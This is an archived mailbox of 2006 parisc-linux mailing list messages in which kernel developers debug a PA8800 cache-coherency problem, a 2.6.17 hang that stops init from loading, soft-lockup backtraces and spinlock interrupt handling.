Xref: news.gmane.org gmane.linux.ports.parisc:23851

On Sun, Jul 23, 2006 at 10:54:38PM -0400, Thibaut VARENE wrote:
> My take is that we see that bug so much more on pa8800 because of its
> huge cache and thus because we hit cache much more often than on all
> other machines...

I don't think so.  pa8800 has less cache per core than pa8700.  The L2
cache is ignorable for the purposes of this scenario, since it's
transparent to software.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: [BUG] 2.6.17 hangs on ppc/ia64/parisc and won't
	load init
Date: Sun, 23 Jul 2006 23:41:02 -0400
Lines: 139
Approved: news@gmane.org
Message-ID: <7d01f9f00607232041i620d523at60687f9392c3c8d0@mail.gmail.com>
References: <7d01f9f00607232039g3d480198w7e206050bca36b0c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624141 20552 80.91.229.3 (22 Nov 2014 02:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:21 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 03:41:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 24 Jul 2006 05:41:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAAA57D687;
	Sun, 23 Jul 2006 21:41:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10356-04; Sun, 23 Jul 2006 21:41:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F39C7D709;
	Sun, 23 Jul 2006 21:41:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09E077D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:41:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10184-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:41:03 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by free.linux.hp.com (Postfix) with ESMTP id 782EF7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:41:03 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2296329ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 20:41:02 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=OpORnZk0UBwL9IWMJrNMDkpgAjWJ8F883BCRWYpoRwPBqAXr59fJrEABUoJXAhzlrhbb2K3qYsuN96oHMXAVRkFaEZAXffDm3n8AnD2rJImhsgc5JbZK+bm58pp8rxmGSdlxcpUTlqpFKVdwB+NEo+zRJL+CkFuGZR5NP4HM5KA=
Original-Received: by 10.78.167.12 with SMTP id p12mr1306314hue;
	Sun, 23 Jul 2006 20:41:02 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 20:41:02 -0700 (PDT)
In-Reply-To: <7d01f9f00607232039g3d480198w7e206050bca36b0c@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: c6020b7d593901b2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Znb3cPYEf2I/+IicY2xoR/1wdWxlc1b0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23852

Hi pa-ckers,

Here's what I just sent to lkml

----------

Hi,

I have this very strange bug and i know this is not the kind of bug
report you expect from me. I really have very limited information and
apologize since it doesn't meet the 'standard'.
Below is a brain dump of everything I know so far and will gladly
answer questions.

Quick summary:
The machine dies, and when I reboot it, it is so whacked it won't load
init, whether it's /sbin/init or /bin/sh. Happened on totally
different hw (ppc, ia64, parisc) running totally different workloads.
2.6.16 seems to work fine, and I don't know how to reproduce this bug.
Haven't tried 2.6.18-rc yet.

The long story:
My ppc machine (Pegasos II, 512MB, 1Ghz G4, 40GB PATA, radeon 9200,
reiserfs root disk) hung using 2.6.17-ck1 kernel and debian etch. This
is my main desktop machine and as expected using Xorg 7.1, firefox, a
few remote X apps etc...
After that machine hung I reset it. The boot process was stuck at
Loading INIT. Reset again and tried with init=/bin/sh. It took approx
5 minutes to get the "sh-3.1#" prompt. Then 'ls' would work.But 'ls
-l' would hang, as well as many other simple commands (I don't
remember exactly which i tried but i tried a few). I could kill the
stuck process with SysRQ. Note, all the machines I'm describing here
use LDAP to get regular users credentials, root is local though. To
make sure that the 5 minutes delay wasn't caused by some LDAP lookup
timing out, I tried to boot init=/bin/sh on a similar setup of a
working machine, and the "sh-3.1#" prompt came immediately, so there
is something else going on.

Fortunately, I had a second system partition on the same disk and was
able to boot from it fine (using the kernel that crashed, meaning the
binary apparently wasn't corrupted). Reiserfs utils attempted to
repair the root partition which was (according to those utils) badly
broken. Still, I could chroot into the original root partition, run ls
and
other commandline tools.
Except 'du -sh etc' came up with something like "2.1T". At that point
I knew something was terribly wrong ;P

So I reformatted that partition to ext3 to get rid of one possible
cause of the problem, and built a new 2.6.17-ck1 kernel. That new
setup lasted for less than a day before dying again. At that point I
gave up breaking my main system and considered it safe to get back to
known-working 2.6.16-ish.

At that point I was also thinking I could have bad hw (eg disk).
The following should convince you it's not.

A few days after the PPC machine events, one of my ia64 headless
servers (rx2600, McKinley 900MHz SMP, 4GB RAM, 36GB SCSI), running
debian etch and 2.6.17-pa3 (from the parisc CVS tree, basically
mainline 2.6.17 on ia64), crashed without any output on the console
after a couple weeks uptime. When I rebooted it, guess what, it would
hang calling init. That time, I booted from another partition as well,
and tried to reinstall all 'base' (ie, essential to the system)
packages, including init and friends. It didn't help. The symptoms
were exactly the same; I couldn't recover the system and had to
reinstall it. I don't recall if the root file system was either ext3
or xfs. I'm certain it was not reiserfs.

Finally, most recently (yesterday to be precise), on of my parisc
system (rp3440, pa8800 SMP 800MHz, 4GB RAM, 73GB SCSI) crashed while I
was using it, and again exposed the exact same symptoms. It was
running  debian sid and 2.6.17-rc6-pa3 64bit. It was up for a
few hours. Interestingly, I experienced much longer uptimes with that
very same machine/kernel. The machine was running gdb when it died,
and this time I got a stack dump on the console. I don't totally trust
parisc stack unwinder but here it is anyway:

BUG: soft lockup detected on CPU#1!
Backtrace:
 [<0000000010112aa0>] dump_stack+0x18/0x28
 [<0000000010172558>] softlockup_tick+0x130/0x160
 [<0000000010152630>] run_local_timers+0x28/0x38
 [<0000000010152708>] update_process_times+0xc8/0x128
 [<000000001011d9d8>] smp_do_timer+0x60/0x80
 [<0000000010113a5c>] timer_interrupt+0xec/0x1f0
 [<00000000101726fc>] handle_IRQ_event+0x74/0xf8
 [<0000000010172838>] __do_IRQ+0xb8/0x260
 [<00000000101145f8>] do_cpu_irq_mask+0x130/0x1f8
 [<0000000010104074>] intr_return+0x0/0x1c

BUG: soft lockup detected on CPU#0!
Backtrace:
 [<0000000010112aa0>] dump_stack+0x18/0x28
 [<0000000010172558>] softlockup_tick+0x130/0x160
 [<0000000010152630>] run_local_timers+0x28/0x38
 [<0000000010152708>] update_process_times+0xc8/0x128
 [<000000001011d9d8>] smp_do_timer+0x60/0x80
 [<0000000010113a5c>] timer_interrupt+0xec/0x1f0
 [<00000000101726fc>] handle_IRQ_event+0x74/0xf8
 [<0000000010172838>] __do_IRQ+0xb8/0x260
 [<00000000101145f8>] do_cpu_irq_mask+0x130/0x1f8
 [<0000000010104074>] intr_return+0x0/0x1c
 [<0000000010167708>] hrtimer_run_queues+0x198/0x268
 [<000000001015239c>] run_timer_softirq+0x54/0x2c0
 [<000000001014b8cc>] __do_softirq+0x15c/0x180
 [<000000001010ec14>] do_softirq+0x64/0x70
 [<000000001014ba1c>] irq_exit+0x6c/0x78
 [<0000000010114680>] do_cpu_irq_mask+0x1b8/0x1f8

This bug (so far) never killed our systems as badly as what I'm
describing, so it could be something else. The rp3440 machine was
using an ext3 fs.

I can probably provide configs for the ppc and parisc kernels. But the
ia64 config is gone unfortunately.

So far, here's what I can infer:
- it's not a particular fs' problem (affected reiserfs, ext3fs)
- it's in generic code (affected ppc, ia64 and parisc)
- it's probably in 'core' code actually (totally different
configurations, yet affected all of them)
- it has an impact on fs coherency (that's the only explanation i can
come up with to explain the fact that init=/bin/sh won't work)
- 2.6.16 doesn't seem to be affected (at least not to that extent)

HTH, and again, feel free to ask questions

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 00:15:59 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <7d01f9f00607232115n18865924s4f07f64d84e45dce@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<20060724033223.GE29603@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624141 20560 80.91.229.3 (22 Nov 2014 02:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 04:16:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 24 Jul 2006 06:16:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31E117D671;
	Sun, 23 Jul 2006 22:16:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10795-10; Sun, 23 Jul 2006 22:16:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 815EF7D678;
	Sun, 23 Jul 2006 22:16:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0437D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10683-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:00 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 692167D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:00 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2305080ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:15:59 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=iynxAkCnjBA+kzg2Wc6k9EJ3NBfnoHVZI2D9lLxl5Asysn3LxURm60DBdT0WYDGnSEgZJvx71GArqOEfgIxWLg/H3acI0hcO2yvN4H+guluDcltt7lv1bUrLWc4Bge7QLFaU40iM3/5J01XM2+ee1YmIGvua/JMo+lcaWF7L2mc=
Original-Received: by 10.78.117.10 with SMTP id p10mr1325660huc;
	Sun, 23 Jul 2006 21:15:59 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 21:15:59 -0700 (PDT)
In-Reply-To: <20060724033223.GE29603@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: b9ce0e6ba9ba992d
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5Dytd/w4eWU3uq2TZm9n+4IrL0tsZo2D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23853

On 7/23/06, Matthew Wilcox <matthew@wil.cx> wrote:
> On Sun, Jul 23, 2006 at 10:54:38PM -0400, Thibaut VARENE wrote:
> > My take is that we see that bug so much more on pa8800 because of its
> > huge cache and thus because we hit cache much more often than on all
> > other machines...
>
> I don't think so.  pa8800 has less cache per core than pa8700.  The L2
> cache is ignorable for the purposes of this scenario, since it's
> transparent to software.

I don't think so :)

On B180, 1MB cache addon is "transparent" and the kernel doesn't see
it at all (/proc/cpuinfo doesn't even show it).

On pa8800, the kernel sees L2 (/proc/cpuinfo shows it) and computes
the flush routines based on L2 size, so I really don't understand how
it is transparent...

Which is why I'm making the point that either our cache flush
computations are wrong on pa8800 (and ggg says they aren't), or the L2
is /not/ transparent and what I said previously wrt huge cache size
should make some sense, shouldn't it?

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mysterious hangs with parisc (a
	send_group_sig_info() analysis)
Date: Sun, 23 Jul 2006 22:16:31 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20060724041631.GB24411@colo.lackof.org>
References: <20060624015935.GJ12481@quicksilver.road.mcmartin.ca>
	<119aab440607221029h1acda159mf4c4e5baca2f0c1e@mail.gmail.com>
	<44C2A23C.8000509@tiscali.be>
	<200607221849.18925.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624141 20562 80.91.229.3 (22 Nov 2014 02:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 04:16:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 24 Jul 2006 06:16:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EEF47D72E;
	Sun, 23 Jul 2006 22:16:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11134-05; Sun, 23 Jul 2006 22:16:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F86A7D68D;
	Sun, 23 Jul 2006 22:16:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1A8D7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11134-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:31 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9EF7F7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:16:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0B76629802E;
	Sun, 23 Jul 2006 22:16:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31714-07; Sun, 23 Jul 2006 22:16:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id ABFCF298013; Sun, 23 Jul 2006 22:16:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200607221849.18925.mszick@morethan.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wyChBQUXfW4orOWveGVop4NmdmllcsWt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23854

On Sat, Jul 22, 2006 at 06:49:18PM -0500, Michael S. Zick wrote:
> The assumption here is that the flag bit in an external variable
> is always in-sync with the interrupt status bit in the register.

The flag bit is generally the value _before_ we attempted to acquire a lock.
I'm really not comfortable with passing in a zero flags value.
I'd need to review alot more code to be happy we aren't breaking
something else that uses __raw_spin_lock.

...
> A general purpose, like we don't know what state the interrupts
> are in, and we don't want to trust an external flag bit;
> 
> Looks like:
> 
> Busy_Loop:
>    Save current interrupt status to the external variable;
>    Enable interrupts; /* a nop if already enabled */
>    Cpu_relax; /* Long enough to recognize pending interrupts */
>    Restore interrupt status from external variable;

I'm ok with this for two reasons:
1) I'm not sure looking at the _previous_ state is the intent
2) branch in perf path is always a bad thing (after cacheline misses).

However, I don't know if there is a reason to instead look at
the previous state.

> Our redefining Cpu_relax to a pair of nops was for machines that
> delay recognizing interrupts for an instruction after changing
> the status bit.  We also included an asm comment in Cpu_relax
> just in case we wanted to see that it had not gotten optimized away.

the asm comment is a good idea.

> Same reason the mb() was redefined as an asm comment that could
> be identified by inspection.

*nod*.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 00:26:21 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <7d01f9f00607232126o68124272he34464cf9abeab4e@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<1153711459.1235.13.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624142 20566 80.91.229.3 (22 Nov 2014 02:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:22 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 04:26:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 24 Jul 2006 06:26:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B62597D739;
	Sun, 23 Jul 2006 22:26:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11150-10; Sun, 23 Jul 2006 22:26:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21CD87D73A;
	Sun, 23 Jul 2006 22:26:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE8E27D738
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:26:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11150-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:26:22 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 932AC7D735
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:26:22 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2307594ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:26:21 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=XUFnESHQmf81t1Q3zVNgPr2IQs1wNunJOYfkHtk8lGhQmeAKRON9yAky75GzIXWa7wzxdLNzq8dD5+fDSgn1s5K7HDYQ5Fc0rjF1yaW5odVYVZvEuRkT3z1IwedrWu2BXagTX4x2iiJxqCSIqAxr7Vf8NGnGqZtC7WMwSk2GUi8=
Original-Received: by 10.78.151.3 with SMTP id y3mr1316944hud;
	Sun, 23 Jul 2006 21:26:21 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 21:26:21 -0700 (PDT)
In-Reply-To: <1153711459.1235.13.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 9ce3e0f24d139248
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
